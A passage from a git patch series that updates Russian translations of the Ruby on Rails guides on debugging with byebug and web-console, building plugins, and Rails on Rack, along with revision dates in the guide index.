строчка будет помечена '=>'. Следующим образом: +Как только приложение вызывает метод `byebug`, отладчик будет запущен в среде отладчика в окне терминала, в котором запущен сервер приложения, и будет представлена строка отладчика `(byebug)`. Перед строкой ввода будет отображен код возле строчки, которая выполняется, и текущая строчка будет помечена '=>', например так: ``` [1, 10] in /PathTo/project/app/controllers/articles_controller.rb @@ -285,7 +283,7 @@ end => Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option) => Ctrl-C to shutdown server [2014-04-11 13:11:47] INFO WEBrick 1.3.1 -[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux] +[2014-04-11 13:11:47] INFO ruby 2.2.2 (2015-04-13) [i686-linux] [2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000 Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 @@ -307,26 +305,19 @@ Processing by ArticlesController#index as HTML (byebug) ``` -Настало время изучить и покопаться в вашем приложении. Для начала хорошо бы попросить помощь у отладчика. Напишите: `help` +Настало время изучить ваше приложение. Для начала хорошо бы попросить помощь у отладчика. Напишите: `help` ``` (byebug) help -byebug 2.7.0 - -Type 'help ' for help on a specific command + h[elp][ [ ]] -Available commands: -backtrace delete enable help list pry next restart source up -break disable eval info method ps save step var -catch display exit interrupt next putl set thread -condition down finish irb p quit show trace -continue edit frame kill pp reload skip undisplay + help -- prints this help. + help -- prints help on command . + help -- prints help on 's subcommand . ``` -TIP: Чтобы просмотреть помощь для любой команды, используйте `help <имя команды>` в консоли отладчика. Например: _`help list`_. Можно сократить любую команду отладки, представив только неколько букв, чтобы отличить их от других команд, поэтому можно использовать `l` вместо команды `list`, к примеру. - -Чтобы просмотреть предыдущие десять строчек, следует написать `list-` (or `l-`) +Чтобы просмотреть предыдущие десять строчек, следует написать `list-` (or `l-`). ``` (byebug) l- @@ -345,7 +336,7 @@ TIP: Чтобы просмотреть помощь для любой коман ``` -Таким образом можно перемещаться внутри файла, чтобы просматривать код до и после строчки, где вы добавили вызов `byebug`. Наконец, чтобы снова просмотреть, где вы в коде, можно написать `list=` +Таким образом можно перемещаться внутри файла и просматривать код до и после строчки, где вы добавили вызов `byebug`. Наконец, чтобы снова просмотреть, где вы в коде, можно написать `list=` ``` (byebug) list= @@ -369,9 +360,9 @@ TIP: Чтобы просмотреть помощь для любой коман Когда начинаете отладку своего приложения, вы будете помещены в различные контексты, так как проходите через различные части стека. -Отладчик создает контекст, когда достигается точка останова или событие. У контекста есть информация о приостановленной программе, которая позволяет отладчику просматривать кадр стека, значения переменных с точки зрения отлаживаемой программы, и в нем содержится информация о месте, в котором отлаживаемая программа остановилась. +Отладчик создает контекст, когда достигается точка останова или событие. У контекста есть информация о приостановленной программе, которая позволяет отладчику просматривать кадр стека, значения переменных с точки зрения отлаживаемой программы, и знает место, в котором отлаживаемая программа остановилась. -В любое время можете вызвать команду `backtrace` (или ее псевдоним `where`), чтобы напечатать трассировку приложения. Это полезно для того, чтобы знать, где вы есть. Если вы когда-нибудь задумывались, как вы получили что-то в коде, то `backtrace` предоставит ответ. +В любое время можете вызвать команду `backtrace` (или ее псевдоним `where`), чтобы напечатать трассировку приложения. Это полезно для того, чтобы знать, где вы находитесь. Если вы когда-нибудь задумывались, как вы получили что-то в коде, то `backtrace` предоставит ответ. ``` (byebug) where @@ -414,19 +405,19 @@ TIP: Чтобы просмотреть помощь для любой коман Отладчик может просматривать, останавливать, возобновлять и переключаться между запущенными тредами с использованием команды `thread` (или сокращенно `th`). У этой команды есть несколько опций: -* `thread` показывает текущий тред -* `thread list` используется для отображения всех тредов и их статусов. Символ плюс ` и число показывают текущий тред выполнения. -* `thread stop _n_` останавливает тред _n_. -* `thread resume _n_` возобновляет тред _n_. -* `thread switch _n_` переключает контекст текущего треда на _n_. +* `thread`: показывает текущий тред +* `thread list`: используется для отображения всех тредов и их статусов. Символ плюс + и число показывают текущий тред выполнения. +* `thread stop _n_`: останавливает тред _n_. +* `thread resume _n_`: возобновляет тред _n_. +* `thread switch _n_`: переключает контекст текущего треда на _n_. -Эта команда очень полезна, в частности когда вы отлаживаете параллельные треды и нужно убедиться, что в коде нет состояния гонки. +Эта команда очень полезна, когда вы отлаживаете параллельные треды и нужно убедиться, что в коде нет состояния гонки. ### Просмотр переменных Любое выражение может быть вычислено в текущем контексте. Чтобы вычислить выражение, просто напечатайте его! -Следующий пример показывает, как вывести переменные экземпляра, определенные в текущим контексте: +Следующий пример показывает, как вывести переменные экземпляра, определенные в текущем контексте: ``` [3, 12] in /PathTo/project/app/controllers/articles_controller.rb @@ -470,13 +461,16 @@ TIP: Чтобы просмотреть помощь для любой коман И затем снова спросим instance_variables: ``` -(byebug) instance_variables.include? "@articles" -true +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request, + :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name, + :@_response_body, :@marked_for_same_origin_verification, :@_config, + :@articles] ``` Теперь `@articles` включена в переменные экземпляра, поскольку определяющая ее строка была выполнена. -TIP: Также можно шагнуть в режим **irb** с командой `irb` (конечно!). Таким образом, сессия irb будет запущена в контексте, который ее вызвал. Но предупреждаем: это эксперементальная особенность. +TIP: Также можно шагнуть в режим **irb** с командой `irb` (конечно!). Это запустит сессию irb в контексте, который ее вызвал. Но предупреждаем: это эксперементальная особенность. Метод `var` это более удобный способ показать переменные и их значения. Пускай `byebug` поможет нам с ней. @@ -489,7 +483,7 @@ v[ar] i[nstance] show instance variables of object v[ar] l[ocal] show local variables ``` -Это отличный способ просмотреть значения переменных текущего контекста. Например, чтобы проверить, что у нас нет локально определенных переменных в настоящий момент. +Это отличный способ просмотреть значения переменных текущего контекста. Например, чтобы проверить, что у нас нет локально определенных переменных в настоящий момент: ``` (byebug) var local @@ -526,7 +520,7 @@ TIP: Команды `p` (print) и `pp` (pretty print) могут использ Используйте `step` (сокращенно `s`) для продолжения запуска вашей программы до следующей логической точки останова и возврата контроля debugger. -Также можете использовать _next_, которая похожа на step, но вызовы функции или метода, выполняемые в строке кода, выполняются без остановки. +Также можете использовать `_next_`, которая похожа на `step`, но вызовы функции или метода, выполняемые в строке кода, выполняются без остановки. TIP: А также можно использовать `step n` или `next n` для перемещения на `n` шагов за раз. @@ -551,7 +545,7 @@ Processing by ArticlesController#index as HTML (byebug) ``` -Если используем `next`, мы хотим уйти глубже в в вызовы метода. Вместо этого, byebug перейдет на следующую строчку в том же контесте. В этом случае это будет последней строчкой метода, поэтому `byebug` перепрыгнет на следующую строчку предыдущего фрейма. +Если используем `next`, мы хотим уйти глубже в вызовы метода. Вместо этого, byebug перейдет на следующую строчку в том же контесте. В этом случае это будет последней строчкой метода, поэтому `byebug` перепрыгнет на следующую строчку предыдущего фрейма. ``` (byebug) next @@ -572,7 +566,7 @@ Next went up a frame because previous frame finished (byebug) ``` -Если используем `step` в той же ситуации, мы буквально шагнем на следующую инструкцию ruby для выполнения. В этом случае, метод activesupport `week`. +Если используем `step` в той же ситуации, мы буквально шагнем на следующую инструкцию ruby для выполнения. В этом случае, в метод Active Support `week`. ``` (byebug) step @@ -592,7 +586,7 @@ Next went up a frame because previous frame finished (byebug) ``` -Это один из лучших способов найти ошибки в вашем коде, а возможно и в Ruby on Rails. +Это один из лучших способов найти ошибки в вашем коде. ### Точки останова @@ -602,7 +596,7 @@ Next went up a frame because previous frame finished * `break line`: устанавливает точку останова в строчке номер _line_ в текущем файле исходника. * `break file:line [if expression]`: устанавливает точку останова в строчке номер _line_ в файле _file_. Если задано выражение _expression_, оно должно быть вычислено в _true_, чтобы запустить отладчик. -* `break class(.|\#)method [if expression]`: устанавливает точку останова в методе _method_ (. \# для метода класса и экземпляра соответственно), определенного в классе _class_. Выражение _expression_ работает так же, как и с file:line. +* `break class(.|\#)method [if expression]`: устанавливает точку останова в методе _method_ (. и # для метода класса и экземпляра соответственно), определенного в классе _class_. Выражение _expression_ работает так же, как и с file:line. Например, в предыдущей ситуации @@ -631,7 +625,7 @@ Num Enb What 1 y at /PathTo/project/app/controllers/articles_controller.rb:11 ``` -Чтобы удалить точки останова: используйте команду `delete _n_` для устранения точки останова номер _n_. Если номер не указан, удалятся все точки останова, которые в данный момент активны.. +Чтобы удалить точки останова: используйте команду `delete _n_` для устранения точки останова номер _n_. Если номер не указан, удалятся все точки останова, которые в данный момент активны. ``` (byebug) delete 1 @@ -644,7 +638,7 @@ No breakpoints. * `enable breakpoints`: позволяет перечню _breakpoints_ или всем им, если перечень не определен, останавливать вашу программу. Это состояние по умолчанию для создаваемых точек останова. * `disable breakpoints`: _breakpoints_ не будут влиять на вашу программу. -### Вылов исключений +### Ловля исключений Команда `catch exception-name` (или просто `cat exception-name`) может использоваться для перехвата исключения типа _exception-name_, когда в противном случае был бы вызван обработчик для него. @@ -654,8 +648,8 @@ No breakpoints. Есть два способа возобновления выполнения приложения, которое было остановлено отладчиком: -* `continue` [line-specification] (или `c`): возобновляет выполнение программы с адреса, где ваш скрипт был последний раз остановлен; любые точки останова, установленные на этом адресе будут пропущены. Дополнительный аргумент line-specification позволяет вам определить число линий для установки одноразовой точки останова, которая удаляется после того, как эта точка будет достигнута. -* `finish` [frame-number] (или `fin`): выполняет, пока не возвратится выделенный кадр стека. Если номер кадра не задан, приложение будет запущено пока не возвратиться текущий выделенный кадр. Текущий выделенный кадр начинается от самых последних, или с 0, если позиционирование кадров (т.е. up, down или frame) не было выполнено. Если задан номер кадра, будет выполняться, пока не вернется указанный кадр. +* `continue [line-specification]` (или `c`): возобновляет выполнение программы с адреса, где ваш скрипт был последний раз остановлен; любые точки останова, установленные на этом адресе будут пропущены. Дополнительный аргумент line-specification позволяет вам определить число линий для установки одноразовой точки останова, которая удаляется после того, как эта точка будет достигнута. +* `finish [frame-number]` (или `fin`): выполняет, пока не возвратится выделенный кадр стека. Если номер кадра не задан, приложение будет запущено пока не возвратится текущий выделенный кадр. Текущий выделенный кадр начинается от самых последних, или с 0, если позиционирование кадров (т.е. up, down или frame) не было выполнено. Если задан номер кадра, будет выполняться, пока не вернется указанный кадр. ### Редактирование @@ -688,6 +682,52 @@ set forcestep set listsize 25 ``` +Отладка с помощью гема `web-console` +------------------------------------ + +Web Console немного похож на `byebug`, но запускается в браузере. На любой разрабатываемой вами странице, вы можете запустить консоль в контексте вьюхи или контроллера. Консоль отрендерит содержимое HTML. + +### Консоль + +Внутри экшена контроллера или вьюхи, вы можете вызвать консоль с помощью метода `console`. + +Например, в контроллере: + +```ruby +class PostsController < ApplicationController + def new + console + @post = Post.new + end +end +``` + +Или во вьюхе: + +```html+erb +<% console %> + +

New Post

+``` + +Это отрендерит консоль внутри вьюхи. Вам не нужно беспокоится о месте вызова `console`, это не будет отрисовано на месте команды, а после вашего HTML содержимого. + +Консоль выполняет чистый Ruby code: вы можете определить или инициализировать собственные классы, создавать новые модели и проверять переменные. + +NOTE: Только одна консоль может быть отрисована за один запрос. Иначе `web-console` вызовет ошибку при выполнении второго `console`. + +### Проверка переменных + +Вы можете вызвать `instance_variables` для вывода всех инстанс переменных, доступных в контексте. Если вы хотите получить список всех локальных переменных, вы моете сделать это с помощью `local_variables`. + +### Настройки + +* `config.web_console.whitelisted_ips`: Список авторизованных IPv4 или IPv6 +адресов и сетей (по умолчанию: `127.0.0.1/8, ::1`). +* `config.web_console.whiny_requests`: Выводить сообщение, когда консоль не может быть отрисована (по умолчанию: `true`). + +Поскольку `web-console` выполняет чистый Ruby код удаленно на сервере, не пытайтесь использовать это в production. + Отладка утечки памяти --------------------- @@ -697,9 +737,9 @@ set listsize 25 ### Valgrind -[Valgrind](http://valgrind.org/) это приложение для Linux для обнаружения утечек памяти, основанных на C, и гонки условий. +[Valgrind](http://valgrind.org/) - это приложение для Linux для обнаружения утечек памяти, основанных на C, и гонки условий. -Имеются инструменты Valgrind, которые могут автоматически обнаруживать многие баги управления памятью и тредами, и подробно профилировать ваши программы. Например, расширение C в интерпретаторе вызывает `malloc()` но не вызывает должным образом `free()`, эта память не будет доступна, пока приложение не будет остановлено. +Имеются инструменты Valgrind, которые могут автоматически обнаруживать многие баги управления памятью и тредами, и подробно профилировать ваши программы. Например, если расширение C в интерпретаторе вызывает `malloc()`, но не вызывает должным образом `free()`, эта память не будет доступна, пока приложение не будет остановлено. Чтобы узнать подробности, как установить Valgrind и использовать его с Ruby, обратитесь к [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver. @@ -709,11 +749,11 @@ set listsize 25 Имеются некоторые плагины Rails, помогающие в поиске ошибок и отладке вашего приложения. Вот список полезных плагинов для отладки: * [Footnotes](https://github.com/josevalim/rails-footnotes): У каждой страницы Rails есть сноска, дающая информацию о запросе и ссылку на исходный код через TextMate. -* [Query Trace](https://github.com/ntalbott/query_trace/tree/master): Добавляет трассировку запросов в ваши логи. -* [Query Reviewer](https://github.com/nesquena/query_reviewer): Этот плагин rails не только запускает "EXPLAIN" перед каждым из ваших запросов select в development, но и представляет небольшой DIV в отрендеренном результате каждой страницы со сводкой предупреждений по каждому проанализированному запросу. +* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master): Добавляет трассировку запросов в ваши логи. +* [Query Reviewer](https://github.com/nesquena/query_reviewer): Этот плагин Rails не только запускает "EXPLAIN" перед каждым из ваших запросов select в development, но и представляет небольшой DIV в отрендеренном результате каждой страницы со сводкой предупреждений по каждому проанализированному запросу. * [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master): Предоставляет объект рассыльщика и набор шаблонов по умолчанию для отправки уведомлений по email, когда происходят ошибки в приложении в Rails. -* [Better Errors](https://github.com/charliesome/better_errors) Заменяет стандартную страницу ошибки Rails новой, содержащей больше контекстной информации, такой как исходный код и просмотр переменных. -* [RailsPanel](https://github.com/dejan/rails_panel) Расширение для Chrome для разработки на Rails, которое подхватывает изменения в development.log. Всю информацию о запросах к приложинеию Rails можно смотреть в браузере, в панели Developer Tools. Предоставляет обзор времени db/rendering/total, списка параметров, отрендеренных вьюх и так далее. +* [Better Errors](https://github.com/charliesome/better_errors): Заменяет стандартную страницу ошибки Rails новой, содержащей больше контекстной информации, такой как исходный код и просмотр переменных. +* [RailsPanel](https://github.com/dejan/rails_panel): Расширение для Chrome для разработки на Rails, которое подхватывает изменения в development.log. Всю информацию о запросах к приложинеию Rails можно смотреть в браузере, в панели Developer Tools. Предоставляет обзор времени db/rendering/total, списка параметров, отрендеренных вьюх и так далее. Ссылки ------ @@ -721,6 +761,7 @@ set listsize 25 * [Домашняя страница ruby-debug](http://bashdb.sourceforge.net/ruby-debug/home-page.html) * [Домашняя страница debugger](https://github.com/cldwalker/debugger) * [Домашняя страница byebug](https://github.com/deivid-rodriguez/byebug) +* [Домашняя страница web-console](https://github.com/rails/web-console) * [Статья: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/) * [Скринкаст Ryan Bates' debugging ruby (revised)](http://railscasts.com/episodes/54-debugging-ruby-revised) * [Скринкаст Ryan Bates' stack trace](http://railscasts.com/episodes/24-the-stack-trace) diff --git a/source/index.yml b/source/index.yml index 06eb58d8..4904a7a9 100644 --- a/source/index.yml +++ b/source/index.yml @@ -135,8 +135,8 @@ pages: - title: Отладка приложений на Rails path: debugging-rails-applications file: debugging_rails_applications.md - revision: 5cfaf5a46eb154f98ba8963bdcfade0afdc618ad - date: 14/01/2015 + revision: 11fecafcf2fc0193add7ba32428fa60b16ed4d2b + date: 01/06/2015 - title: Конфигурирование приложений на Rails path: configuring-rails-applications From 7aa15d469685e88a31c9787cab6c0f7901194421 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 22 Aug 2015 11:23:10 +0400 Subject: [PATCH 085/932] Small fix --- source/debugging_rails_applications.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 5deaecc6..3c69cb5b 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -718,7 +718,7 @@ NOTE: Только одна консоль может быть отрисова ### Проверка переменных -Вы можете вызвать `instance_variables` для вывода всех инстанс переменных, доступных в контексте. Если вы хотите получить список всех локальных переменных, вы моете сделать это с помощью `local_variables`. +Вы можете вызвать `instance_variables` для вывода всех инстанс переменных, доступных в контексте. Если вы хотите получить список всех локальных переменных, вы можете сделать это с помощью `local_variables`. ### Настройки From 02555081348795955e4fef7341153dc64da72e19 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 22 Aug 2015 17:17:43 +0300 Subject: [PATCH 086/932] forgot to include last time --- source/index.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/source/index.yml b/source/index.yml index 4904a7a9..d5bff744 100644 --- a/source/index.yml +++ b/source/index.yml @@ -237,8 +237,8 @@ pages: - title: Заметки о релизе Ruby on Rails 3.0 path: 3_0_release_notes file: 3_0_release_notes.md - revision: 080fc9cad39a98b6973cd7a7106f1bcb10d3ad02 - date: 20/01/2014 + revision: f7b5f6d88a3e5a33eb622875e699432d45659f91 + date: 15/06/2015 - title: Заметки о релизе Ruby on Rails 3.1 path: 3_1_release_notes @@ -261,8 +261,8 @@ pages: - title: Заметки о релизе Ruby on Rails 4.1 path: 4_1_release_notes file: 4_1_release_notes.md - revision: 578839bbbd8c0ca670a9735aafdf49bd7c8587c8 - date: 18/02/2014 + revision: d495592541b031bc165c5fb0116a33e5cb943fb7 + date: 28/02/2015 - title: Заметки о релизе Ruby on Rails 4.2 path: 4_2_release_notes From f2985b3a71c7c89fa87550a29ff32d9a3bc6d2d3 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 22 Aug 2015 17:29:36 +0300 Subject: [PATCH 087/932] update plugins guide --- source/index.yml | 4 +-- source/plugins.md | 68 +++++++++++++++++++++++------------------------ 2 files changed, 36 insertions(+), 36 deletions(-) diff --git a/source/index.yml b/source/index.yml index d5bff744..92c41196 100644 --- a/source/index.yml +++ b/source/index.yml @@ -189,8 +189,8 @@ pages: - title: Основы создания плагинов Rails path: plugins file: plugins.md - revision: ff7ab3bc78abc3e8439a57ef7d755c5aa5b069f4 - date: 29/12/2013 + revision: 71dcc40a2c0c7417cda97204a054b9f804b74759 + date: 09/03/2015 - title: Rails on Rack path: rails-on-rack diff --git a/source/plugins.md b/source/plugins.md index aad6277c..4230d4af 100644 --- a/source/plugins.md +++ b/source/plugins.md @@ -36,7 +36,7 @@ $ rails plugin new yaffle Как ее использовать и ее опции смотрите: ```bash -$ rails plugin --help +$ rails plugin new --help ``` Тестирование своего нового плагина @@ -47,7 +47,7 @@ $ rails plugin --help Вы должны увидеть: ```bash - 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips + 1 runs, 1 assertions, 0 failures, 0 errors, 0 skips ``` Это сообщает вам, что все сгенерировалось правильно, и вы можете начать добавлять функционал. @@ -75,19 +75,19 @@ end ```bash 1) Error: - test_to_squawk_prepends_the_word_squawk(CoreExtTest): - NoMethodError: undefined method `to_squawk' for [Hello World](String) - test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' + CoreExtTest#test_to_squawk_prepends_the_word_squawk: + NoMethodError: undefined method `to_squawk' for "Hello World":String + /path/to/yaffle/test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' ``` Отлично - теперь мы готовы начать разработку. -В `lib/yaffle.rb` добавьте `require "yaffle/core_ext"`: +В `lib/yaffle.rb` добавьте `require 'yaffle/core_ext'`: ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' module Yaffle end @@ -108,13 +108,13 @@ end Чтобы проверить, что этот метод делает то, что нужно, запустите юнит тесты с помощью `rake` из директории плагина. ```bash - 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips + 2 runs, 2 assertions, 0 failures, 0 errors, 0 skips ``` Чтобы увидеть его в действии, измените директорию на test/dummy, запустите консоль и начните squawking: ```bash -$ rails console +$ bin/rails console >> "Hello World".to_squawk => "squawk! Hello World" ``` @@ -138,7 +138,7 @@ end ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' require 'yaffle/acts_as_yaffle' module Yaffle @@ -183,31 +183,31 @@ end ``` 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): + ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: NameError: uninitialized constant ActsAsYaffleTest::Hickwall - test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' + /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): + ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: NameError: uninitialized constant ActsAsYaffleTest::Wickwall - test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips + 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` Это сообщает нам об отсутствии необходимых моделей (Hickwall и Wickwall), которые мы пытаемся протестировать. Эти модели можно с легкостью создать в нашем "dummy" приложении Rails, запустив следующие команды в директории test/dummy: ```bash $ cd test/dummy -$ rails generate model Hickwall last_squawk:string -$ rails generate model Wickwall last_squawk:string last_tweet:string +$ bin/rails generate model Hickwall last_squawk:string +$ bin/rails generate model Wickwall last_squawk:string last_tweet:string ``` Теперь можно создать необходимые таблицы в вашей тестовой базе данных, перейдя в приложение-заглушку и мигрировав базу данных. Сначала запустите: ```bash $ cd test/dummy -$ rake db:migrate +$ bin/rake db:migrate ``` Пока вы тут, измените модели Hickwall и Wickwall так, чтобы они знали, что они должны действовать как дятлы. @@ -246,25 +246,25 @@ module Yaffle end end -ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle +ActiveRecord::Base.include(Yaffle::ActsAsYaffle) ``` Затем можно вернуться в корневую директорию плагина (`cd ../..`) и перезапустить тесты с помощью `rake`. ``` 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for # - /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' + ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: + NoMethodError: undefined method `yaffle_text_field' for # + activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' + /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for # - Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: + NoMethodError: undefined method `yaffle_text_field' for # + activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' + /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips + 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` @@ -289,13 +289,13 @@ module Yaffle end end -ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle +ActiveRecord::Base.include(Yaffle::ActsAsYaffle) ``` Когда запустите `rake`, все тесты должны пройти: ```bash - 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips + 4 runs, 4 assertions, 0 failures, 0 errors, 0 skips ``` ### Добавление метода экземпляра @@ -361,13 +361,13 @@ module Yaffle end end -ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle +ActiveRecord::Base.include(Yaffle::ActsAsYaffle) ``` Запустите `rake` в последний раз, вы должны увидеть: ``` - 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips + 6 runs, 6 assertions, 0 failures, 0 errors, 0 skips ``` NOTE: Использование `write_attribute` для записи в поле модели - это всего лишь пример того, как плагин может взаимодействовать с моделью, но не всегда правильный метод для использования. Например, также можно использовать: @@ -411,12 +411,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' Как только ваши комментарии закончены, перейдите в директорию плагины и запустите: ```bash -$ rake rdoc +$ bundle exec rake rdoc ``` ### Ссылки * [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) * [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) -* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20) +* [Gemspec Reference](http://guides.rubygems.org/specification-reference/) * [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins) From f4a7b14fe65386faf5a1f5e44ad0d79559e5d042 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 23 Aug 2015 16:38:45 +0300 Subject: [PATCH 088/932] update rack guide --- source/index.yml | 4 ++-- source/rails_on_rack.md | 34 ++++++++-------------------------- 2 files changed, 10 insertions(+), 28 deletions(-) diff --git a/source/index.yml b/source/index.yml index 92c41196..12305551 100644 --- a/source/index.yml +++ b/source/index.yml @@ -195,8 +195,8 @@ pages: - title: Rails on Rack path: rails-on-rack file: rails_on_rack.md - revision: 19ef270923cfa498b904cb3cc4484c83e463f371 - date: 06/06/2014 + revision: 707144a31e19a3d6c1cb237d4cb74cefa0124296 + date: 23/06/2015 - title: Создание и настройка генераторов Rails path: generators diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index ccced90d..6830e457 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -52,24 +52,6 @@ class Server < ::Rack::Server end ``` -Вот как он загружает промежуточные программы: - -```ruby -def middleware - middlewares = [] - middlewares << [Rails::Rack::Debugger] if options[:debugger] - middlewares << [::Rack::ContentLength] - Hash.new(middlewares) -end -``` - -`Rails::Rack::Debugger` в основном полезен только в окружении development. Следующая таблица объясняет назначение загружаемых промежуточных программ: - -| Промежуточная программа | Назначение | -| ----------------------- | ------------------------------------------------------------------------------- | -| `Rails::Rack::Debugger` | Запускает отладчик | -| `Rack::ContentLength` | Считает количество байт в отклике и устанавливает заголовок HTTP Content-Length | - ### `rackup` Для использования `rackup` вместо рельсового `rails server`, следует поместить следующее в `config.ru` в корневой директории приложения Rails: @@ -78,8 +60,6 @@ end # Rails.root/config.ru require ::File.expand_path('../config/environment', __FILE__) -use Rails::Rack::Debugger -use Rack::ContentLength run Rails.application ``` @@ -95,6 +75,10 @@ $ rackup config.ru $ rackup --help ``` +### Разработка и авто-перегрузка + +Промежуточные программы загружаются один раз и не отслеживаются на предмет изменений. Необходимо перезагрузить сервер, чтобы отразить изменения в запущенном приложении. + Стек промежуточных программ Action Dispatcher --------------------------------------------- @@ -224,7 +208,7 @@ config.middleware.delete "Rack::MethodOverride" **`ActionDispatch::Static`** -* Используется для раздачи статичных ресурсов. Отключена, если `config.serve_static_assets` является true. +* Используется для раздачи статичных файлов. Отключена, если `config.serve_static_assets` является true. **`Rack::Lock`** @@ -244,7 +228,7 @@ config.middleware.delete "Rack::MethodOverride" **`ActionDispatch::RequestId`** -* Создает для отклика уникальный заголовок `X-Request-Id` и включает метод `ActionDispatch::Request#uuid`. +* Создает для отклика уникальный заголовок `X-Request-Id` и включает метод `ActionDispatch::Request#request_id`. **`Rails::Rack::Logger`** @@ -268,7 +252,7 @@ config.middleware.delete "Rack::MethodOverride" **`ActionDispatch::Callbacks`** -* Запускает колбэки prepare до обслуживания запроса. +* Предоставляет колбэки для запуска до и после обработки запроса. **`ActiveRecord::Migration::CheckPending`** @@ -298,7 +282,7 @@ config.middleware.delete "Rack::MethodOverride" * Парсит параметры запроса в `params`. -**`ActionDispatch::Head`** +**`Rack::Head`** * Преобразует запросы HEAD в запросы `GET` и обслуживает их соответствующим образом. @@ -319,8 +303,6 @@ TIP: Можете использовать любые из этих промеж * [Official Rack Website](http://rack.github.io) * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) -* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack) -* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder) ### Понимание промежуточных программ From 7199eca1df09158819cc343b3eca276fd941ce1e Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 23 Aug 2015 16:40:16 +0300 Subject: [PATCH 089/932] update js guide --- source/index.yml | 4 ++-- source/working_with_javascript_in_rails.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/source/index.yml b/source/index.yml index 12305551..c25de60b 100644 --- a/source/index.yml +++ b/source/index.yml @@ -165,8 +165,8 @@ pages: - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: d02c810e29080389ab26313ae75556081aa9ac63 - date: 22/05/2014 + revision: 8019ad72ea5c5bb4fd5c0e2c56c050858d7bc2c1 + date: 09/06/2015 - title: 